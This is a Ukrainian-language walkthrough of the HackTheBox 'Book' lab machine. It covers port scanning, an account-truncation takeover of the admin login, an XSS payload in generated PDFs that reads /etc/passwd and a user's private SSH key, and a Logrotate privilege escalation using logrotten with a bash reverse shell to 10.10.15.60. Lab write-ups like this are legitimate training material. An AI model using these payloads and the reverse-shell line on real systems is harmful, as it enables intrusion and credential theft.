
Детально розглядаємо проходження завдання HackTheBox Book. Основна увага приділена вразливостям XSS та їх ескалації до LFI через PDF, а також підвищенню привілеїв (LPE) за допомогою Logrotate. Матеріал містить покроковий аналіз процесу атаки: від виявлення крос-сайтного скриптингу (XSS) до подальшого використання вразливостей для локального включення файлів (LFI). Окрім цього, описано методику ескалації привілеїв через неправильну конфігурацію Logrotate. Дана стаття буде корисною для кібербезпекових фахівців, пентестерів і всіх, хто цікавиться вразливостями безпеки та навчальними завданнями HackTheBox. Вона допоможе зрозуміти складні процеси експлуатації з реальними прикладами та кроками.
Ця машина має IP адресу 10.10.10.176, яку додаємо в /etc/hosts.
10.10.10.176 book.htb
Спочатку виконується сканування відкритих портів. Щоб прискорити процес, замість тривалого сканування nmap, використовується masscan. Сканування охоплює всі TCP та UDP порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176 --rate=500
Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.
nmap -A book.htb -p22,80
На хості працюють служба SSH та веб-сервер. Почнемо з Інтернету. Нас зустрічає сторінка авторизації та реєстрації.
Зареєструємось і увійдемо.
Сайт є бібліотекою з можливістю додавання книги та контакту з адміністратором.
У цих полях не вдалося знайти жодного вектора атаки, проте відома електронна пошта адміністратора. Для подальшого дослідження виконується перебір директорій за допомогою gobuster. У параметрах інструмента задається кількість потоків (128, -t
), цільовий URL (-u
), словник для перебору (-w
) та необхідні розширення файлів (-x
).
gobuster dir -t 128 -u http://book.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
У результаті перебору вдається виявити низку цікавих сторінок, зокрема й адміністративну панель. Після цього проводиться аналіз форми авторизації, і вже у вихідному коді сторінки виявлено потенційно цікаву інформацію.
Ім’я користувача обмежене 10 символами, а адреса електронної пошти — 20 символами. Проте перевірка відбувається лише на випадок порожніх полів, і довжина даних не контролюється.
Є ймовірність, що введені дані будуть урізані до встановленої довжини на сервері. Для перевірки цього реєструється користувач із адресою електронної пошти, яка перевищує 20 символів.
Авторизуємося з урахуванням урізаної адреси.
Як і передбачалося, припущення виявилося вірним. Реєстрація користувача з поштою “[email protected] 123″ проходить успішно. Далі виконується вхід у систему, що дозволяє авторизуватися під звичайним адміністратором.
Ця атака стала можливою через те, що під час перевірки значення “[email protected] 123″ система не знаходить його в базі даних, після чого введене значення усікається та перезаписує вже існуючий запис. Після успішного входу проводиться огляд сайту, проте окрім колекції нічого цікавого виявлено не було.
Завантаживши та відкривши PDF документи, виявимо там список зареєстрованих користувачів та колекції.
Досвід підказує, що коли інформація завантажується на сервер і відображається у PDF, варто перевірити можливість атаки XSS to LFI. Це можна перевірити шляхом завантаження наступного коду на сервер:
<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>
Зайдемо від імені звичайного користувача та додамо до колекції файл, вказавши у всіх полях це навантаження.
Тепер завантажуємо файл з колекцією у адміністратора, і виявимо там вміст файлу /etc/passwd.
Прочитаємо закритий SSH ключ користувача reader, вказавши в навантаженні файл «file:///home/reader/.ssh/id_rsa».
При копіюванні ключа з PDF-файлу він виявляється неповним. Для вирішення цієї проблеми файл відкривається у браузері, після чого текст ключа копіюється вручну та вставляється у звичайний текстовий файл. Обов’язково потрібно виділити перший і останній рядок ключа.
Призначимо права на цей файл.
chmod 0600 reader.key
І підключаємось по SSH.
У домашній директорії користувача є папка backups.
Утиліта Logrotate використовується для автоматизації обробки журналів, дозволяючи виконувати різні дії залежно від заданих умов і правил. Наприклад, журнали можна стискати в архів, видаляти, або надсилати на інший сервер після досягнення певного розміру, віку чи інших параметрів.
Пошук у Google одразу ж дає корисну інформацію про потенційні вразливості та можливості експлуатації Logrotate, особливо коли він виконується з правами root.
Завантажуємо репозиторій та компілюємо програму.
gcc -o logrotten logrotten.c
Тепер зробимо файл із реверс шеллом.
echo "bash -i >& /dev/tcp/10.10.15.60/4321 0>&1" > payloadfile
Запускається logrotten, а в іншому вікні терміналу проводиться запис даних у цільовий файл логів. Це дозволяє ініціювати обробку логів утилітою Logrotate, що виконується з привілеями root, відкриваючи можливість для подальшої експлуатації вразливості.
./logrotten -p ./payloadfile /home/reader/backups/access.log
Програма успішно спрацювала.
Через кілька секунд з’являється з’єднання, яке тримається достатньо довго для подальших дій. Цього часу цілком вистачає, щоб отримати доступ до закритого SSH-ключа та переглянути його вміст.
Використовуючи отриманий закритий SSH-ключ, виконується підключення до цільової системи. Після успішної аутентифікації залишається лише знайти та забрати прапор.
У цій статті було продемонстровано покрокову експлуатацію вразливостей, починаючи з XSS до LFI через PDF, до отримання доступу до системи шляхом підвищення привілеїв за допомогою Logrotate. Ключовими етапами стали: виявлення обмежень реєстрації, успішне використання вразливостей для читання закритого SSH-ключа, а також аналіз автоматизованих завдань системи за допомогою pspy64. Завдяки цьому вдалося отримати доступ до системи та забрати фінальний прапор.